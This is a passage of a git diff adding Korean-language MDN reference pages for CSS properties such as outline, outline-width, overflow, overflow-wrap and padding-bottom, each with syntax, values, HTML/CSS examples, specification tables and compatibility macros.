+<p>{{ EmbedLiveSample('외곽선_스타일을_dashed_dotted로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_solid_double로_설정하기">외곽선 스타일을 <code>solid</code>, <code>double</code>로 설정하기</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;div class="solid"&gt;
+    &lt;p class="double"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.solid {
+  outline-style: solid;
+}
+.double {
+  outline-style: double;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_solid_double로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_groove_ridge로_설정하기">외곽선 스타일을 <code>groove</code>, <code>ridge</code>로 설정하기</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;div class="groove"&gt;
+    &lt;p class="ridge"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css notranslate">.groove {
+  outline-style: groove;
+}
+.ridge {
+  outline-style: ridge;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }</pre>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_groove_ridge로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_inset_outset으로_설정하기">외곽선 스타일을 inset, outset으로 설정하기</h3>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;div class="inset"&gt;
+    &lt;p class="outset"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css notranslate">.inset {
+  outline-style: inset;
+}
+.outset {
+  outline-style: outset;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }</pre>
+
+<h4 id="결과_5">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_inset_outset으로_설정하기') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-style', 'outline-style')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Added <code>auto</code> value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-style', 'outline-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.outline-style")}}</p>
+</div>
diff --git a/files/ko/web/css/outline-width/index.html b/files/ko/web/css/outline-width/index.html
new file mode 100644
index 0000000000..0c25d34eb1
--- /dev/null
+++ b/files/ko/web/css/outline-width/index.html
@@ -0,0 +1,141 @@
+---
+title: outline-width
+slug: Web/CSS/outline-width
+tags:
+  - CSS
+  - CSS Outline
+  - CSS Property
+  - Layout
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/outline-width
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>outline-width</code></strong> 속성은 요소 외곽선의 두께를 설정합니다.</span> 외곽선은 요소의 <a href="/ko/docs/Web/CSS/border">테두리</a> 바깥에 그려지는 선입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-width.html")}}</div>
+
+
+
+<p>외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+outline-width: thin;
+outline-width: medium;
+outline-width: thick;
+
+/* &lt;length&gt; 값 */
+outline-width: 1px;
+outline-width: 0.1em;
+
+/* 전역 값 */
+outline-width: inherit;
+</pre>
+
+<p><code>outline-width</code> 속성은 다음 값 중 하나를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>외곽선의 두께를 <code>&lt;length&gt;</code>로 설정합니다.</dd>
+ <dt><code>thin</code></dt>
+ <dd>사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 <code>1px</code>입니다.</dd>
+ <dt><code>medium</code></dt>
+ <dd>사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 <code>3px</code>입니다.</dd>
+ <dt><code>thick</code></dt>
+ <dd>사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 <code>5px</code>입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요소의_외곽선_두께_설정하기">요소의 외곽선 두께 설정하기</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;span id="thin"&gt;thin&lt;/span&gt;
+&lt;span id="medium"&gt;medium&lt;/span&gt;
+&lt;span id="thick"&gt;thick&lt;/span&gt;
+&lt;span id="twopixels"&gt;2px&lt;/span&gt;
+&lt;span id="oneex"&gt;1ex&lt;/span&gt;
+&lt;span id="em"&gt;1.2em&lt;/span&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">span {
+  outline-style: solid;
+  display: inline-block;
+  margin: 20px;
+}
+
+#thin {
+  outline-width: thin;
+}
+
+#medium {
+  outline-width: medium;
+}
+
+#thick {
+  outline-width: thick;
+}
+
+#twopixels {
+  outline-width: 2px;
+}
+
+#oneex {
+  outline-width: 1ex;
+}
+
+#em {
+  outline-width: 1.2em;
+}
+
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('요소의_외곽선_두께_설정하기', '100%', '80')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-width', 'outline-width')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-width', 'outline-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.outline-width")}}</p>
diff --git a/files/ko/web/css/outline/index.html b/files/ko/web/css/outline/index.html
new file mode 100644
index 0000000000..4b578c289b
--- /dev/null
+++ b/files/ko/web/css/outline/index.html
@@ -0,0 +1,158 @@
+---
+title: outline
+slug: Web/CSS/outline
+tags:
+  - CSS
+  - CSS Outline
+  - CSS Property
+  - Layout
+  - Reference
+  - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/outline
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>outline</code></strong> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 모든 외곽선 속성을 한꺼번에 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>outline</code>은 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* style */
+outline: solid;
+
+/* color | style */
+outline: #f66 dashed;
+
+/* style | width */
+outline: inset thick;
+
+/* color | style | width */
+outline: green solid 3px;
+
+/* 전역 값 */
+outline: inherit;
+outline: initial;
+outline: unset;
+</pre>
+
+<p><code>outline</code> 속성은 아래의 값 중 한 개에서 세 개를 사용해 지정할 수 있으며 순서는 상관하지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 요소의 외곽선은 스타일을 지정하지 않을 경우 보이지 않습니다. 스타일 기본값이 <code>none</code>이기 때문인데, 주목할만한 예외는 {{htmlelement("input")}} 요소로 브라우저의 기본 스타일이 적용됩니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;'outline-color'&gt;</code></dt>
+ <dd>외곽선의 색을 설정합니다. 누락 시 기본값은 <code>currentcolor</code>입니다. {{cssxref("outline-color")}}를 참고하세요.</dd>
+ <dt><code>&lt;'outline-style'&gt;</code></dt>
+ <dd>외곽선의 스타일을 설정합니다. 누락 시 기본값은 <code>none</code>입니다. {{cssxref("outline-style")}}을 참고하세요.</dd>
+ <dt><code>&lt;'outline-width'&gt;</code></dt>
+ <dd>외곽선의 두께를 설정합니다. 누락 시 기본값은 <code>medium</code>입니다. {{cssxref("outline-width")}}를 참고하세요.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><a href="/ko/docs/Web/CSS/border">테두리</a>와 외곽선은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.</p>
+
+<ul>
+ <li>외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.</li>
+ <li>명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.</li>
+</ul>
+
+<p>다른 모든 단축 속성과 마찬가지로, 누락한 하위 속성의 값은 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>으로 설정됩니다.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>outline</code>에 <code>0</code> 또는 <code>none</code> 값을 지정하면 브라우저의 기본 포커스 스타일이 사라집니다. 만약 어떤 요소가 상호작용 가능하다면 반드시 시각으로 포커스 여부를 나타낼 수 있어야 합니다. 기본 포커스 스타일을 제거한 경우 다른 뚜렷한 대안을 제공하세요.</p>
+
+<ul>
+ <li><a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">How to Design Useful and Usable Focus Indicators</a></li>
+ <li>
+  <p><abbr>WCAG</abbr> 2.1: <a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-visible.html">Understanding Success Criterion 2.4.7: Focus Visible</a></p>
+ </li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="외곽선으로_포커스_스타일_설정">외곽선으로 포커스 스타일 설정</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a href="#"&gt;This link has a special focus style.&lt;/a&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">a {
+  border: 1px solid;
+  border-radius: 3px;
+  display: inline-block;
+  margin: 10px;
+  padding: 5px;
+}
+
+a:focus {
+  outline: 4px dotted #e73;
+  outline-offset: 4px;
+  background: #ffa;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("외곽선으로_포커스_스타일_설정", "100%", 60)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline', 'outline')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline', 'outline')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.outline")}}</p>
+</div>
diff --git a/files/ko/web/css/overflow-wrap/index.html b/files/ko/web/css/overflow-wrap/index.html
new file mode 100644
index 0000000000..b2241a5b61
--- /dev/null
+++ b/files/ko/web/css/overflow-wrap/index.html
@@ -0,0 +1,118 @@
+---
+title: overflow-wrap
+slug: Web/CSS/overflow-wrap
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+translation_of: Web/CSS/overflow-wrap
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>overflow</strong></code><strong><code>-wrap</code></strong> CSS 요소는 어떤 문자가 내용 칸 밖으로 넘치지 않게 브라우저가 단어 마디 안에 줄을 바꿔야 할 것인지 아닌지를 정할 때 사용됩니다.</p>
+
+<div class="note"><strong>Note:</strong> {{cssxref("word-break")}}와는 달리, <code>overflow-wrap</code>은 모든 단어가 넘치지 않으면 자신의 줄 안에 놓여 있을 수 없을 때 줄 바꿈을 한 번만 할 것입니다.</div>
+
+<p>이 속성은 처음에 마이크로소프트에서 표준이 아니고 접두어가 없는 <code>word-wrap</code>으로 나왔고, 대부분 브라우저에서 똑같은 이름으로 구현되었습니다. 요즘은 <code>overflow-wrap</code>으로 다시 지어지고, <code>word-wrap</code>은 동의어가 되었습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+</pre>
+
+<p><code>overflow-wrap</code> 속성은 아래에 나열돼 있는 값들 중 단 하나로 정해집니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>줄이 오직 (두 단어 사이의 공백과 같이) 보통의 줄 바꿈 지점에서만 줄을 바꿉니다.</dd>
+ <dt><code>break-word</code></dt>
+ <dd>보통 안 바꿔지는 단어들을 한 줄에서 대신 줄을 바꿀 만한 지점이 없을 시 임의의 지점에서 줄을 바꿉니다.</dd>
+</dl>
+
+<h3 id="기본적인_구문">기본적인 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 긴 단어를 넘길 때 <code>overflow-wrap</code>, <code>word-break</code>, 그리고 <code>hyphens</code>의 결과를 비교합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (normal)&lt;/p&gt;
+&lt;p class="overflow-wrap"&gt;They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (overflow-wrap)&lt;/p&gt;
+&lt;p class="word-break"&gt;They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (word-break)&lt;/p&gt;
+&lt;p class="hyphens"&gt;They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (hyphens)&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 13em;
+  background: gold;
+}
+
+.overflow-wrap {
+  overflow-wrap: break-word;
+}
+
+.word-break {
+  word-break: break-all;
+}
+
+.hyphens {
+  hyphens: auto;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example', '100%', 260) }}</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}</td>
+   <td>{{ Spec2('CSS3 Text') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.overflow-wrap")}}</p>
+
+
+
+<h2 id="See_also" name="See_also">바로 보기</h2>
+
+<ul>
+ <li>{{cssxref("word-break")}}</li>
+</ul>
diff --git a/files/ko/web/css/overflow/index.html b/files/ko/web/css/overflow/index.html
new file mode 100644
index 0000000000..5e5e2296ae
--- /dev/null
+++ b/files/ko/web/css/overflow/index.html
@@ -0,0 +1,146 @@
+---
+title: overflow
+slug: Web/CSS/overflow
+tags:
+  - CSS
+  - CSS Box Model
+  - CSS Property
+  - Layout
+  - Reference
+translation_of: Web/CSS/overflow
+---
+<div>{{CSSRef}}</div>
+
+<p id="Summary"><strong><code>overflow</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 콘텐츠가 너무 커서 요소의 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>에 맞출 수 없을 때의 처리법을 지정합니다. {{cssxref("overflow-x")}}, {{cssxref("overflow-y")}}의 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow.html")}}</div>
+
+
+
+<p>적용 가능한 방법은 잘라내기, 스크롤바 노출, 넘친 콘텐츠 그대로 노출 등이 있습니다.</p>
+
+<p><code>visible</code>(기본값)이 아닌 다른 값으로 <code>overflow</code> 속성을 사용할 경우 새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 문맥</a>을 생성합니다. 이는 기술적인 요구사항으로, 만약 스크롤하는 요소와 float이 교차한다면, 각 스크롤 단계마다 내용물을 강제적으로 다시 감싸게 될 것입니다. 이는 결국 스크롤 속도를 느리게 할 것입니다.</p>
+
+<p><code>overflow</code> 속성이 효력을 갖기 위해선 반드시 블록 레벨 컨테이너의 높이(<code>height</code> 또는 <code>max-height</code>)를 설정하거나, <code>white-space</code>를 <code>nowrap</code>으로 설정해야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 하나의 축을 <code>visible</code>(기본값)로 하고, 다른 축에는 다른 값을 지정할 경우 <code>visible</code>이 <code>auto</code>처럼 동작합니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: JavaScript {{domxref("Element.scrollTop")}} 속성을 사용하면 요소의 <code>overflow</code>가 <code>hidden</code>일 때도 스크롤할 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+overflow: visible;
+overflow: hidden;
+overflow: clip;
+overflow: scroll;
+overflow: auto;
+overflow: hidden visible;
+
+/* 전역 값 */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+</pre>
+
+<p><code>overflow</code> 속성은 아래의 키워드 값을 하나 또는 두 개 사용해 지정합니다. 두 개를 사용한 경우 첫 번째 값은 <code>overflow-x</code>, 두 번째 값은 <code>overflow-y</code>를 지정합니다. 하나만 사용하면 지정한 값을 양 축 모두에 적용합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>콘텐츠를 자르지 않으며 안쪽 여백 상자 밖에도 그릴 수 있습니다.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 스크롤바를 제공하지 않고, 스크롤할 방법(드래그, 마우스 휠 등)도 지원하지 않습니다. 코드를 사용해 스크롤할 수는 있으므로 ({{domxref("HTMLElement.offsetLeft", "offsetLeft")}} 속성 설정 등), 이 상태의 요소도 스크롤 컨테이너입니다.</dd>
+ <dt><code>clip</code> {{experimental_inline}}</dt>
+ <dd><code>hidden</code>과 마찬가지로, 콘텐츠를 안쪽 여백 상자에 맞춰 자릅니다. 그러나 <code>clip</code>은 코드를 사용한 스크롤링도 방지하므로 어떠한 스크롤도 불가능합니다. 이 상태의 요소는 스크롤 컨테이너가 아니며, 새로운 블록 서식 문맥도 생성하지 않습니다. 서식 문맥이 필요하다면 {{cssxref("display", "display:flow-root", "#flow-root")}}을 사용할 수 있습니다.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 브라우저는 콘텐츠를 실제로 잘라냈는지 여부를 따지지 않고 항상 스크롤바를 노출하므로 내용의 변화에 따라 스크롤바가 생기거나 사라지지 않습니다. 프린터는 여전히 넘친 콘텐츠를 출력할 수도 있습니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 결정합니다. 콘텐츠가 안쪽 여백 상자에 들어간다면 <code>visible</code>과 동일하게 보이나, 새로운 블록 서식 문맥을 생성합니다. 데스크톱 브라우저의 경우 콘텐츠가 넘칠 때 스크롤바를 노출합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>overlay</code> {{deprecated_inline}}</dt>
+ <dd><code>auto</code>와 동일하게 동작하지만, 스크롤바가 공간을 차지하는 대신 콘텐츠 위에 위치합니다. Webkit(Safari 등)과 Blink(Chrome 또는 Opera 등) 기반 브라우저만 지원합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">p {
+     width: 12em;
+     height: 6em;
+     border: dotted;
+     overflow: visible; /* content is not clipped */
+}
+</pre>
+
+<p style="overflow: visible; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>visible</code> (default)<br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p { overflow: hidden; /* no scrollbars are provided */ }
+</pre>
+
+<p style="overflow: hidden; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: hidden</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p { overflow: scroll; /* always show scrollbars */ }
+</pre>
+
+<p style="overflow: scroll; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: scroll</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p { overflow: auto; /* append scrollbars if necessary */ }
+</pre>
+
+<p style="overflow: auto; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: auto</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#overflow1', 'overflow')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.overflow")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 CSS 속성: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-bottom/index.html b/files/ko/web/css/padding-bottom/index.html
new file mode 100644
index 0000000000..119bc4fd25
--- /dev/null
+++ b/files/ko/web/css/padding-bottom/index.html
@@ -0,0 +1,111 @@
+---
+title: padding-bottom
+slug: Web/CSS/padding-bottom
+tags:
+  - CSS
+  - CSS Padding
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/padding-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-bottom</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 아래쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-bottom.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<p><img alt="The effect of the CSS padding-top property on the element box" src="/files/4109/padding-bottom.svg" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-bottom: 0.5em;
+padding-bottom: 0;
+padding-bottom: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-bottom: 10%;
+
+/* 전역 값 */
+padding-bottom: inherit;
+padding-bottom: initial;
+padding-bottom: unset;
+</pre>
+
+<p><code>padding-top</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> <strong>너비</strong>의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-bottom: 5%; }
+.sidebox { padding-bottom: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>padding-bottom</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-bottom', 'padding-bottom') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-bottom")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-left/index.html b/files/ko/web/css/padding-left/index.html
new file mode 100644
index 0000000000..d866466b4c
--- /dev/null
+++ b/files/ko/web/css/padding-left/index.html
@@ -0,0 +1,109 @@
+---
+title: padding-left
+slug: Web/CSS/padding-left
+tags:
+  - CSS
+  - CSS Padding
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/padding-left
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-left</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 왼쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-left.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<div class="note">
